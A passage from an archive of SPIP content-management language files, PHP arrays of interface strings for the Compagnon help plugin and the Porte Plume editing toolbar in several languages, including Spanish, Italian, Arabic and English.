En el cuadro aquí al lado, cambia «en curso de recacción» por «publicado en línea».',
'c_articles_creer' => '¿Cómo crear un artículo?',
'c_articles_creer_texte' => 'Sólo cuando exista una sección en tu sitio podrás crear
un artículo desde esta página.
Puedes crear una sección desde el menú «Edición», y luego «Secciones».',
'c_job' => 'Las tareas por realizar…',
'c_job_texte' => 'Esta página lista las próximas tareas de mantenimiento que debe efectuar SPIP. Estas tareas se ejecutan a intervalos regulares, o puntualmente para los procesamientos pesados que puedan solicitar los plugins, como el envío masivo de correos.',
'c_rubrique_publier' => 'Crea un artículo',
'c_rubrique_publier_texte' => 'Una sección sólo será visible en el sitio público una vez que
contenga algo publicado, por ejemplo un artículo.
Crea entonces un artículo. Lo puedes hacer desde esta página, bajo el descriptivo de la sección.',
'c_rubriques_creer' => '¡Crea la primer sección!',
'c_rubriques_creer_texte' => 'Las secciones son la estrucutra de base del sitio; en cada una de ellas podrás crear artículos.
Comienza por crear una primer sección.',
// E
'explication_activer_compagnon' => 'El compañero agrega comentarios a ciertas páginas
dl espacio privado de SPIP para ayudar a los principiantes iniciarse a SPIP. ¿Quieres activarlo?',
'explication_reinitialiser_compagnon' => 'Los mensajes que una autora o autor ya vio no se vuelven a mostrar.
¿Quieres reinicializar estos mensajes?',
// L
'label_activer_compagnon' => '¿Activar el compañero?',
'label_reinitialiser_compagnon' => '¿Reinitializar los mensajes del compañero?',
// O
'ok' => 'OK',
'ok_bien' => '¡Bien!',
'ok_jai_compris' => '¡Ya entendí!',
'ok_merci' => 'Gracias',
'ok_parfait' => '¡Perfecto!',
// R
'reinitialisation' => 'Reinitialización',
'reinitialisation_ok' => 'La reinicialización fue realizada.',
'reinitialiser' => 'Reinicializar',
'reinitialiser_moi' => 'Sí, únicamente los que ya leí.',
'reinitialiser_tous' => 'Sí, sea cual sea el autor',
// T
'titre_compagnon' => 'El Compañero',
'titre_page_configurer_compagnon' => 'Configurar el Compañero'
);
?>
paquet-porte_plume_fa.php 0000666 00000001264 15252577465 0011604 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// P
'porte_plume_description' => 'چوب قلم يك نوار ابزار قابل گسترش براي اسپيپ است كه آرشيو جاوا اسكريپت [MarkItUp->http://markitup.jaysalvat.com/home/] را مورد استفاده قرار ميدهد. ',
'porte_plume_nom' => 'چوب قلم',
'porte_plume_slogan' => 'نوار ابزاري براي بهترنويسي'
);
?>
paquet-porte_plume_ru.php 0000666 00000001421 15252577465 0011637 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// P
'porte_plume_description' => 'Porte plume - расширение возможностей стандартного текстового редактора SPIP. Использует javascript библиотеку [MarkItUp->http://markitup.jaysalvat.com/home/].',
'porte_plume_nom' => 'Панель инструментов (Porte plume)',
'porte_plume_slogan' => 'Дополнительные возможности для текстового редактора'
);
?>
barreoutils_es.php 0000666 00000012333 15252577465 0010327 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/barreoutils?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'barre_a_accent_grave' => 'Insertar una À',
'barre_adresse' => 'Dirección',
'barre_aide' => 'Puedes enriquecer el formato de tu texto utilizando "atajos tipográficos"',
'barre_alignerdroite' => '[/Alinear a derecha/] el párrafo',
'barre_ancres' => 'Anclas',
'barre_barre' => 'Tachar el texto',
'barre_bulle' => 'Globo de ayuda',
'barre_c_cedille_maj' => 'Insertar una Ç',
'barre_cadre' => 'Mostrar dentro de una <cadre>caja de texto</cadre>',
'barre_caracteres' => 'Caracteres especiales',
'barre_centrer' => '[|Centrar|] párrafo',
'barre_chercher' => 'Buscar y reemplazar',
'barre_clean' => 'Limpiar el código de todas las etiquetas HTML',
'barre_code' => 'Mostrar como <code>código fuente</code>',
'barre_desindenter' => 'Deshacer sublista',
'barre_e_accent_aigu' => 'Insertar una É',
'barre_e_accent_grave' => 'Intertar una È',
'barre_ea' => 'Insertar una æ',
'barre_ea_maj' => 'Insertar una Æ',
'barre_encadrer' => '[(Párrafo con recuadro)]',
'barre_eo' => 'Insertar una œ',
'barre_eo_maj' => 'Insertar una Œ',
'barre_euro' => 'Insertar el símbolo € ',
'barre_exposant' => 'Poner el texto en <sup>superíndice</sup>',
'barre_formatages_speciaux' => 'Formateado especial',
'barre_galerie' => 'Abrir la galería',
'barre_gestion_anc_bulle' => 'Globo de ayuda de anclas',
'barre_gestion_anc_caption' => 'Gestionar las anclas',
'barre_gestion_anc_cible' => 'Destino del ancla',
'barre_gestion_anc_inserer' => 'Convertir a un ancla',
'barre_gestion_anc_nom' => 'Nombre del ancla',
'barre_gestion_anc_pointer' => 'Apuntar a un ancla',
'barre_gestion_caption' => 'Leyenda y resumen',
'barre_gestion_colonne' => 'Núm de columnas',
'barre_gestion_cr_casse' => 'Respetar mayúsculas y minúsculas',
'barre_gestion_cr_changercasse' => 'Alternar',
'barre_gestion_cr_changercassemajuscules' => 'Pasar a mayúsculas',
'barre_gestion_cr_changercasseminuscules' => 'Pasar a minúsculas',
'barre_gestion_cr_chercher' => 'Buscar',
'barre_gestion_cr_entier' => 'Sólo palabras completas',
'barre_gestion_cr_remplacer' => 'Reemplazar',
'barre_gestion_cr_tout' => 'Reemplazar todo',
'barre_gestion_entete' => 'Encabezado',
'barre_gestion_ligne' => 'Núm de líneas',
'barre_gestion_taille' => 'Tamaño fijo',
'barre_glossaire' => '[?Referencia] (Wikipedia)',
'barre_gras' => '{{Negrita}}',
'barre_guillemets' => 'Encerrar entre «comillas dobles«',
'barre_guillemets_simples' => 'Place between “single quotes“',
'barre_indenter' => 'Convertir en sublista',
'barre_inserer_cadre' => 'Inseretar un código preformatado (marco)',
'barre_inserer_caracteres' => 'Insertar caracteres especiales',
'barre_inserer_code' => 'Insertar un código informático (código)',
'barre_intertitre' => 'Convertir en {{{intertítulo}}}',
'barre_italic' => '{cursiva}',
'barre_langue' => 'Idioma abreviado',
'barre_lien' => 'Convertir en [hipevínculo->http://...]',
'barre_lien_externe' => 'Enlace externo',
'barre_lien_input' => 'Por favor ingresa el destino de tu hipervínculo (puede ser una URL de la forma http://www.misitio.com o simplmente el número de un artículo de este sitio).',
'barre_liste_ol' => 'Convertir en lista ordenada',
'barre_liste_ul' => 'Convertir en lista',
'barre_lorem_ipsum' => 'Insertar un párrafo ficticio',
'barre_lorem_ipsum_3' => 'Insertar tres párrafos ficticios',
'barre_miseenevidence' => 'Resaltar el [*texto*]',
'barre_note' => 'Convertir en [[Nota al pie]]',
'barre_paragraphe' => 'Crear párrafo',
'barre_petitescapitales' => 'Poner el texto en <sc>mayúsculas pequeñas</sc>',
'barre_poesie' => 'Mostrar como <poesie>Poesía</poesie>',
'barre_preview' => 'Modo previsualización',
'barre_quote' => '<quote>Citar</quote>',
'barre_stats' => 'Mostrar estadística del texto',
'barre_tableau' => 'Insertar/modificar una tabla (seleccionala primero)',
// C
'config_info_enregistree' => 'Configuración guardada',
// E
'editer' => 'Editar',
'explication_barre_outils_public' => 'Los scripts CSS y Javascript de las barras de herramientas (extensión Porta Pluma) se cargan en el espacio público y permiten utilizar estas barras en los formularios de foros, el "lápiz" público o para otros plugins, si sus respectivas configuraciones lo preven.',
'explication_barre_outils_public_2' => 'Puedes elegir no cargar estos scripts para alivianar el tamaño de las páginas públicas.
Si es así, sea cual sea la configuración de los foros, lápiz, u otro plugin, ninguna barra de herramientas podrá estar presente automáticamente en el espacio público.',
// I
'info_barre_outils_public' => 'Barra de herramientas pública',
'info_porte_plume_titre' => 'Configurar las barras de herramientas',
// L
'label_barre_outils_public_non' => 'No cargar los scripts de la barra de herramientas en el espacio público. ',
'label_barre_outils_public_oui' => 'CArgar los scripts de las barras de herramientas en el espacio público',
// V
'voir' => 'Ver'
);
?>
barreoutils_it.php 0000666 00000013034 15252577465 0010333 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/barreoutils?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'barre_a_accent_grave' => 'Inserisci una A con accento grave maiuscolo',
'barre_adresse' => 'Indirizzo',
'barre_aide' => 'Utilizza le scorciatoie tipografiche per arrichhire la tua impaginazione',
'barre_alignerdroite' => '[/Allinea a destra/] il paragrafo',
'barre_ancres' => 'Gestione delle ancore',
'barre_barre' => 'Barra il testo',
'barre_bulle' => 'Tooltip',
'barre_c_cedille_maj' => 'Inserisci una C con cediglia maiuscola',
'barre_cadre' => 'Metti dentro una <cadre>zona di inserimento del testo</cadre>',
'barre_caracteres' => 'Caratteri speciali',
'barre_centrer' => '[|Centra|] il paragrafo',
'barre_chercher' => 'Cerca e sostituisci',
'barre_clean' => 'Elimina dal codice tutti i tag HTML',
'barre_code' => 'Impagina un <code>codice informatico</code>',
'barre_desindenter' => 'Elimina l’indentazione della linea',
'barre_e_accent_aigu' => 'Inserisci una E con accento acuto maiuscola',
'barre_e_accent_grave' => 'Inserisci una E maiuscola con accento grave',
'barre_ea' => 'Inserisci una E nella A',
'barre_ea_maj' => 'Inserisci una E nella A maiuscola',
'barre_encadrer' => '[(Riquadra)] il paragrafo',
'barre_eo' => 'Inserisci una E con legatura alla O minuscola',
'barre_eo_maj' => 'Inserisci una E con legatura alla O maiuscola',
'barre_euro' => 'Inserisci il simbolo €',
'barre_exposant' => 'Metti il testo in <sup>esponente</sup>',
'barre_formatages_speciaux' => 'Formattazioni speciali',
'barre_galerie' => 'Apri la galleria',
'barre_gestion_anc_bulle' => 'Tooltip ancora',
'barre_gestion_anc_caption' => 'Gestione delle ancore',
'barre_gestion_anc_cible' => 'Destinazione ancora',
'barre_gestion_anc_inserer' => 'Trasforma in ancora',
'barre_gestion_anc_nom' => 'Nome dell’ancora',
'barre_gestion_anc_pointer' => 'Punta verso un’ancora',
'barre_gestion_caption' => 'Didascalia e riassunto',
'barre_gestion_colonne' => 'Num colonne',
'barre_gestion_cr_casse' => 'Rispetta le maiuscole/minuscole',
'barre_gestion_cr_changercasse' => 'Cambia maiuscole/minuscole',
'barre_gestion_cr_changercassemajuscules' => 'Passa in maiuscole',
'barre_gestion_cr_changercasseminuscules' => 'Passa in minuscole',
'barre_gestion_cr_chercher' => 'Cerca',
'barre_gestion_cr_entier' => 'Parola intera',
'barre_gestion_cr_remplacer' => 'Sostituisci',
'barre_gestion_cr_tout' => 'Sostituisci tutto',
'barre_gestion_entete' => 'Intestazione',
'barre_gestion_ligne' => 'Num righe',
'barre_gestion_taille' => 'DImensione fissa',
'barre_glossaire' => 'Voce di [?glossario] (Wikipedia)',
'barre_gras' => 'Converti in {{grassetto}}',
'barre_guillemets' => 'Racchiudi tra « virgolette »',
'barre_guillemets_simples' => 'Racchiudi tra “virgolette di secondo livello”',
'barre_indenter' => 'Indenta la lista',
'barre_inserer_cadre' => 'Inserire un codice pre formattato (struttura)',
'barre_inserer_caracteres' => 'Inserisci dei caratteri speciali',
'barre_inserer_code' => 'Inserire del codice applicativo (code)',
'barre_intertitre' => 'Trasforma in {{{titolo}}}',
'barre_italic' => 'Converti in {corsivo}',
'barre_langue' => 'Acronimo lingua',
'barre_lien' => 'Trasforma in [link ipertestuale->http://...]',
'barre_lien_externe' => 'Link esterno',
'barre_lien_input' => 'Indica l’indirizzo del tuo link (puoi indicare un indirizzo internet sotto forma di http://www.miosito.com, un indirizzo di posta elettronica, o semplicemente indicare il numero di un articolo di questo sito).',
'barre_liste_ol' => 'Converti in lista numerata',
'barre_liste_ul' => 'Converti in lista',
'barre_lorem_ipsum' => 'Inserisci un paragrafo di prova (lorem ipsum)',
'barre_lorem_ipsum_3' => 'Inserisci 3 paragrafi di prova (lorem ipsum)',
'barre_miseenevidence' => 'Metti il testo in [*evidenza*]',
'barre_note' => 'Trasforma in [[nota a piè pagina]]',
'barre_paragraphe' => 'Crea un paragrafo',
'barre_petitescapitales' => 'metti il testo in <sc>maiuscoletto</sc>',
'barre_poesie' => 'Impagina come una <poesie>poesia</poesie>',
'barre_preview' => 'Modalità anteprima',
'barre_quote' => '<quote>Cita un messaggio</quote>',
'barre_stats' => 'Mostra le statistiche del testo',
'barre_tableau' => 'Inserisci/modifica una tabella (selezionarla prima)',
// C
'config_info_enregistree' => 'Configurazione salvata',
// E
'editer' => 'Modifica',
'explication_barre_outils_public' => 'Gli script CSS e Javascript delle barre di utilità
(estensione Porte Plume) vengono caricate nello spazio pubblico
e consentono di utilizzare queste barre sui moduli dei forum,
i pennarelli pubblici o per altri plugin, se le loro rispettive configurazioni
lo permettono.',
'explication_barre_outils_public_2' => 'Puoi scegliere di non caricare questi script al fine di alleggerire le pagine pubbliche.
In questo caso, qualunque sia la configurazione dei forum, pennarelli o plugin, nessuna barra di Porte Plume potrà essere inserita automaticamente nello spazio pubblico.',
// I
'info_barre_outils_public' => 'Barra ti testo pubblica',
'info_porte_plume_titre' => 'Configura le barre di testo',
// L
'label_barre_outils_public_non' => 'Non caricare gli script della barra di testo sullo spazio pubblico',
'label_barre_outils_public_oui' => 'Caricare gli script della barra di testo sullo spazio pubblico',
// V
'voir' => 'Vedi'
);
?>
paquet-porte_plume_de.php 0000666 00000001137 15252577465 0011605 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// P
'porte_plume_description' => 'Der Federhalter ist eine erweiterbare Werkzeugleiste für SPIP auf Grundlage der Javascript-Bibiliothek [MarkItUp->http://markitup.jaysalvat.com/home/]',
'porte_plume_nom' => 'Federhalter',
'porte_plume_slogan' => 'Eine Menüleiste zum Formatieren der Texte'
);
?>
barreoutils_pt.php 0000666 00000012364 15252577465 0010347 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/barreoutils?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'barre_a_accent_grave' => 'Inserir À',
'barre_adresse' => 'Endereço',
'barre_aide' => 'Usar os atalhos tipográficos para refinar o plano da página',
'barre_alignerdroite' => '[/Alinhar à direita/] o parágrafo',
'barre_ancres' => 'Gestão das âncoras',
'barre_barre' => 'Percorrer o texto',
'barre_bulle' => 'Balão de ajuda',
'barre_c_cedille_maj' => 'Inserir Ç',
'barre_cadre' => 'Colocar numa <cadre>caixa de entrada de texto</cadre>',
'barre_caracteres' => 'Caracteres especiais',
'barre_centrer' => '[|Centrar|] o parágrafo',
'barre_chercher' => 'Procurar & Substituir',
'barre_clean' => 'Limpar o código de todas as tags HTML',
'barre_code' => 'Editar um <code>código informático</code>',
'barre_desindenter' => 'Não pôr avanço numa lista',
'barre_e_accent_aigu' => 'Inserir É',
'barre_e_accent_grave' => 'Inserir È',
'barre_ea' => 'Inserir æ',
'barre_ea_maj' => 'Inserir Æ',
'barre_encadrer' => '[(Enquadrar)] o parágrafo',
'barre_eo' => 'Inserir œ',
'barre_eo_maj' => 'Inserir Œ',
'barre_euro' => 'Inserir o símbolo €',
'barre_exposant' => 'Por o texto em <sup>superscript</sup>',
'barre_formatages_speciaux' => 'Formatação especial',
'barre_galerie' => 'Abrir a galeria',
'barre_gestion_anc_bulle' => 'Balão de ajuda da âncora',
'barre_gestion_anc_caption' => 'Gestão das âncoras',
'barre_gestion_anc_cible' => 'Âncora-alvo',
'barre_gestion_anc_inserer' => 'Converter em âncora',
'barre_gestion_anc_nom' => 'Nome da âncora',
'barre_gestion_anc_pointer' => 'Apontar para uma âncora',
'barre_gestion_caption' => 'Legenda e Resumo',
'barre_gestion_colonne' => 'Nº de colunas',
'barre_gestion_cr_casse' => 'Manter maiúsculas e minúsculas',
'barre_gestion_cr_changercasse' => 'Alterar maiúsculas e minúsculas',
'barre_gestion_cr_changercassemajuscules' => 'Pôr em maiúsculas',
'barre_gestion_cr_changercasseminuscules' => 'Pôr em minúsculas',
'barre_gestion_cr_chercher' => 'Procurar',
'barre_gestion_cr_entier' => 'Apenas palavras completas',
'barre_gestion_cr_remplacer' => 'Substituir',
'barre_gestion_cr_tout' => 'Substituir tudo',
'barre_gestion_entete' => 'Cabeçalho',
'barre_gestion_ligne' => 'Nº de linhas',
'barre_gestion_taille' => 'Tamanho fixo',
'barre_glossaire' => 'Entrada do [?glossário] (Wikipedia)',
'barre_gras' => 'Colocar em {{negrito}}',
'barre_guillemets' => 'Colocar entre « aspas duplas »',
'barre_guillemets_simples' => 'Colocar entre “aspas simples”',
'barre_indenter' => 'Pôr avanço numa lista',
'barre_inserer_cadre' => 'Inserir um código pré-formatado (cadre)',
'barre_inserer_caracteres' => 'Inserir caracteres especiais',
'barre_inserer_code' => 'Inserir um código informático (code)',
'barre_intertitre' => 'Converter em {{{subcabeçalho}}}',
'barre_italic' => 'Colocar em {itálico}',
'barre_langue' => 'Idioma abreviado',
'barre_lien' => 'Transformar em [ligação hipertexto->http://...]',
'barre_lien_externe' => 'Ligação externa',
'barre_lien_input' => 'Por favor indique o endereço da sua ligação (pode indicar um endereço Internet na forma http://www.monsite.com, um endereço de e-mail, ou simplesmente o número de um artigo neste sítio).',
'barre_liste_ol' => 'Colocar em lista numerada',
'barre_liste_ul' => 'Colocar em lista',
'barre_lorem_ipsum' => 'Inserir um falso parágrafo',
'barre_lorem_ipsum_3' => 'Inserir três falsos parágrafos',
'barre_miseenevidence' => '[*Realçar*] o texto',
'barre_note' => 'Converter em [[Nota de rodapé]]',
'barre_paragraphe' => 'Criar um parágrafo',
'barre_petitescapitales' => 'Colocar o texto em <sc>petites capitales</sc>',
'barre_poesie' => 'Editar como uma <poesie>poésie</poesie>',
'barre_preview' => 'Modo pré-visualização',
'barre_quote' => '<quote>Citar uma mensagem</quote>',
'barre_stats' => 'Exibir as estatísticas do texto',
'barre_tableau' => 'Inserir/modificar (seleccionar primeiro) uma tabela',
// C
'config_info_enregistree' => 'Configuração guardada',
// E
'editer' => 'Editar',
'explication_barre_outils_public' => 'Os scripts CSS e Javascript das barras de ferramentas (extensão Porte Plume) são carregados no sítio público e permitem utilizar barras de ferramentas em fóruns, crayons públicos ou outros plugins, se a sua respectiva configuração o permitir.',
'explication_barre_outils_public_2' => 'Pode escolher não carregar estes scripts, para tornar mais leves as páginas públicas.
Assim, em qualquer configuração dos fóruns, crayons ou plugins, nenhuma barra de ferramentas Pena aparecerá automaticamente no sítio público.',
// I
'info_barre_outils_public' => 'Barra de ferramentas pública',
'info_porte_plume_titre' => 'Configurar a barra de ferramentas',
// L
'label_barre_outils_public_non' => 'Não carregar os scripts de barras de ferramentas no sítio público.',
'label_barre_outils_public_oui' => 'Carregar os scripts de barras de ferramentas no sítio público.',
// V
'voir' => 'Visualizar'
);
?>
paquet-porte_plume_fr_fem.php 0000666 00000001131 15252577465 0012445 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// P
'porte_plume_description' => 'Porte plume est une barre d’outils extensible pour SPIP qui utilise la bibliothèque javascript [MarkItUp->http://markitup.jaysalvat.com/home/]',
'porte_plume_nom' => 'Porte plume',
'porte_plume_slogan' => 'Une barre d’outils pour bien écrire'
);
?>
barreoutils_ar.php 0000666 00000014141 15252577465 0010321 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/barreoutils?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'barre_a_accent_grave' => 'إدراج A مع نبر الاطالة: À',
'barre_adresse' => 'عنوان',
'barre_aide' => 'استخدم شريط اختصارات الكتابة لإغناء تصميم صفحتك',
'barre_alignerdroite' => 'محاذاة الى [/اليمين/]',
'barre_ancres' => 'إدارة المراسي',
'barre_barre' => 'شطب النص',
'barre_bulle' => 'بالون تعليمات',
'barre_c_cedille_maj' => 'ادراج C كبير مع علامة لفظية: Ç',
'barre_cadre' => 'وضع في <cadre>مجال إدخال نصوص</cadre>',
'barre_caracteres' => 'حروف خاصة',
'barre_centrer' => '[|توسيط|] الفقرة',
'barre_chercher' => 'بحث واستبدال',
'barre_clean' => 'تنظيف الرموز البرمجية من كل علامات HTML',
'barre_code' => 'تنسيق <code>مقطع رموز برمجية</code>',
'barre_desindenter' => 'إلغاء إزاحة لائحة',
'barre_e_accent_aigu' => 'ادراج E كبير مع نبر خفيض - È',
'barre_e_accent_grave' => 'إدراج E كبير مع نبر الاطالة: È',
'barre_ea' => 'ادراج e داخل a: æ',
'barre_ea_maj' => 'ادراج E كبير داخل A كبير: Æ',
'barre_encadrer' => 'وضع في [(إطار)]',
'barre_eo' => 'ادراج e داخل o: œ',
'barre_eo_maj' => 'ادراج E كبير داخل O كبير: Œ',
'barre_euro' => 'ادراج رمز €',
'barre_exposant' => 'تحويل الى <sup>نص فوقي</sup>',
'barre_formatages_speciaux' => 'تنسيقات خاصة',
'barre_galerie' => 'فتح صالة العرض',
'barre_gestion_anc_bulle' => 'بالون تعليمات المرساة',
'barre_gestion_anc_caption' => 'إدارة المراسي',
'barre_gestion_anc_cible' => 'المرساة الهدف',
'barre_gestion_anc_inserer' => 'تحويل الى مرساة',
'barre_gestion_anc_nom' => 'اسم المرساة',
'barre_gestion_anc_pointer' => 'التصويب الى مرساة',
'barre_gestion_caption' => 'وصف وملخص',
'barre_gestion_colonne' => 'عدد الأعمدة',
'barre_gestion_cr_casse' => 'تطابق حجم الحروف',
'barre_gestion_cr_changercasse' => 'تغيير حجم الحروف',
'barre_gestion_cr_changercassemajuscules' => 'تحويل الى الحروف كبيرة',
'barre_gestion_cr_changercasseminuscules' => 'تحويل الى الحروف صغيرة',
'barre_gestion_cr_chercher' => 'بحث',
'barre_gestion_cr_entier' => 'كلمة كاملة',
'barre_gestion_cr_remplacer' => 'استبدال',
'barre_gestion_cr_tout' => 'استبدال الكل',
'barre_gestion_entete' => 'ترويسة',
'barre_gestion_ligne' => 'عدد السطور',
'barre_gestion_taille' => 'حجم ثابت',
'barre_glossaire' => 'مدخل في [?المعجم] (ويكيبيديا)',
'barre_gras' => '{{اسود}}',
'barre_guillemets' => 'احاطة «بعلامتي اقتباس مزدوجة»',
'barre_guillemets_simples' => 'وضع بين "علامتي إقتباس مزدوجة من المستوى الثاني"',
'barre_indenter' => 'إزاحة لائحة',
'barre_inserer_cadre' => 'إدراج رموز منسقة مسبقاً (إطار)',
'barre_inserer_caracteres' => 'إدراج حروف محددة',
'barre_inserer_code' => 'إدراج رموز برمجية (رموز)',
'barre_intertitre' => 'تحويل الى {{{عنوان فقرة}}}',
'barre_italic' => '{مائل}',
'barre_langue' => 'لغة مختصرة',
'barre_lien' => 'تحويل الى [وصلة هايبرتكست->http://...]',
'barre_lien_externe' => 'رابط خارجي',
'barre_lien_input' => 'الرجاء ادخال عنوان الوصلة (يمكنك ادخال عنوان نسيج على شكل http://www.mysite.com او ادخال رقم مقال من الموقع الحالي فقط).',
'barre_liste_ol' => 'تحويل الى لائحة مرقمة',
'barre_liste_ul' => 'تحويل الى لائحة',
'barre_lorem_ipsum' => 'إدراج فقرة زائفة',
'barre_lorem_ipsum_3' => 'إدراج ثلاث فقرات زائفة',
'barre_miseenevidence' => '[*إبراز*] النص',
'barre_note' => 'تحويل الى [[حاشية]]',
'barre_paragraphe' => 'انشاء فقرة',
'barre_petitescapitales' => 'تحويل الى <sc>حروف كبيرة مصغرة</sc>',
'barre_poesie' => 'تنسيق <poesie>شعر</poesie>',
'barre_preview' => 'معاينة',
'barre_quote' => '<quote>اقتباس رسالة</quote>',
'barre_stats' => 'عرض احصاءات النص',
'barre_tableau' => 'إدراج جدول أو تعديل جدول (تحديده أولاً)',
// C
'config_info_enregistree' => 'تم حفظ الإعداد',
// E
'editer' => 'تحرير',
'explication_barre_outils_public' => 'يتم تحميل أوامر أوراق الأنماط وجافاسكريبت (إضافة الريشة، Porte Plume) في الموقع العمومي لتوقر استخدام شريط الأدوات في استمارات المنتديات والأقلام العمومية وملحقات أخرى أذا سمحت إعداداتها بذلك.',
'explication_barre_outils_public_2' => 'يمكنك اختيار عدم تحميل هذه الأوامر لتخفيف وزن الصفحات العمومية.
عندها، مهما تكن إعدادات المنتديات او الأقلام او الملحقات، لن يظهر اي شريط أدوات من الريشة في الموقع العمومي.',
// I
'info_barre_outils_public' => 'شريط الأدوات العمومي',
'info_porte_plume_titre' => 'إعداد شريط الأدوات',
// L
'label_barre_outils_public_non' => 'عدم تحميل أوامر شريط الأدوات في الموقع العمومي',
'label_barre_outils_public_oui' => 'تحميل أوامر شريط الأدوات في الموقع العمومي',
// V
'voir' => 'معاينة'
);
?>
paquet-porte_plume_fr.php 0000666 00000001056 15252577465 0011624 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/porte_plume/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// P
'porte_plume_description' => 'Porte plume est une barre d’outils extensible pour SPIP qui utilise la bibliothèque javascript [MarkItUp->http://markitup.jaysalvat.com/home/]',
'porte_plume_nom' => 'Porte plume',
'porte_plume_slogan' => 'Une barre d’outils pour bien écrire'
);
?>
barreoutils_en.php 0000666 00000011335 15252577465 0010323 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/barreoutils?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'barre_a_accent_grave' => 'Insert À',
'barre_adresse' => 'Address',
'barre_aide' => 'Use the typographic short cuts to refine your layout',
'barre_alignerdroite' => '[/Right align/] the paragraph',
'barre_ancres' => 'Anchors',
'barre_barre' => 'Strike through the text',
'barre_bulle' => 'Help bubble',
'barre_c_cedille_maj' => 'Insert Ç',
'barre_cadre' => 'Put in a <cadre>textarea</cadre>',
'barre_caracteres' => 'Special characters',
'barre_centrer' => '[|Center|] the paragraph',
'barre_chercher' => 'Search & Replace',
'barre_clean' => 'Clean the code of all HTML tags',
'barre_code' => 'Edit a <code>computer code</code>',
'barre_desindenter' => 'Unindent a line',
'barre_e_accent_aigu' => 'Insert É',
'barre_e_accent_grave' => 'Insert È',
'barre_ea' => 'Insert æ',
'barre_ea_maj' => 'Insert Æ',
'barre_encadrer' => '[(Frame)] the paragraph',
'barre_eo' => 'Insert œ',
'barre_eo_maj' => 'Insert Œ',
'barre_euro' => 'Insert the € symbol',
'barre_exposant' => 'Put the text in <sup>superscript</sup>',
'barre_formatages_speciaux' => 'Special formating',
'barre_galerie' => 'Open gallery',
'barre_gestion_anc_bulle' => 'Anchor help bubble',
'barre_gestion_anc_caption' => 'Anchors',
'barre_gestion_anc_cible' => 'Anchor target',
'barre_gestion_anc_inserer' => 'Convert to anchor',
'barre_gestion_anc_nom' => 'Anchor name',
'barre_gestion_anc_pointer' => 'Point to an anchor',
'barre_gestion_caption' => 'Caption and Summary',
'barre_gestion_colonne' => 'No. of columns',
'barre_gestion_cr_casse' => 'Match case',
'barre_gestion_cr_changercasse' => 'Change case',
'barre_gestion_cr_changercassemajuscules' => 'Convert to upper case',
'barre_gestion_cr_changercasseminuscules' => 'Convert to lower case',
'barre_gestion_cr_chercher' => 'Search',
'barre_gestion_cr_entier' => 'Only complete words',
'barre_gestion_cr_remplacer' => 'Replace',
'barre_gestion_cr_tout' => 'Replace all',
'barre_gestion_entete' => 'Header',
'barre_gestion_ligne' => 'No. of lines',
'barre_gestion_taille' => 'Fixed size',
'barre_glossaire' => '[?Glossary] reference (Wikipedia)',
'barre_gras' => '{{Bold}}',
'barre_guillemets' => 'Place between «double quotes«',
'barre_guillemets_simples' => 'Place between “single quotes“',
'barre_indenter' => 'Indent a line',
'barre_inserer_cadre' => 'Insert a preformatted code (cadre)',
'barre_inserer_caracteres' => 'Insert special characters',
'barre_inserer_code' => 'Insert a computer code (code)',
'barre_intertitre' => 'Turn into a {{{subheading}}}',
'barre_italic' => '{Italic}',
'barre_langue' => 'Abbreviated lnguage',
'barre_lien' => 'Turn into a [hyperlink->http://...]',
'barre_lien_externe' => 'External link',
'barre_lien_input' => 'Please enter the target of your hyperlink (you may give an internet URL in the form http://www.mysite.com or else simply the number of an article on this site).',
'barre_liste_ol' => 'Set numbered list',
'barre_liste_ul' => 'Set list',
'barre_lorem_ipsum' => 'Insert a fake paragraph',
'barre_lorem_ipsum_3' => 'Insert three fake paragraphs',
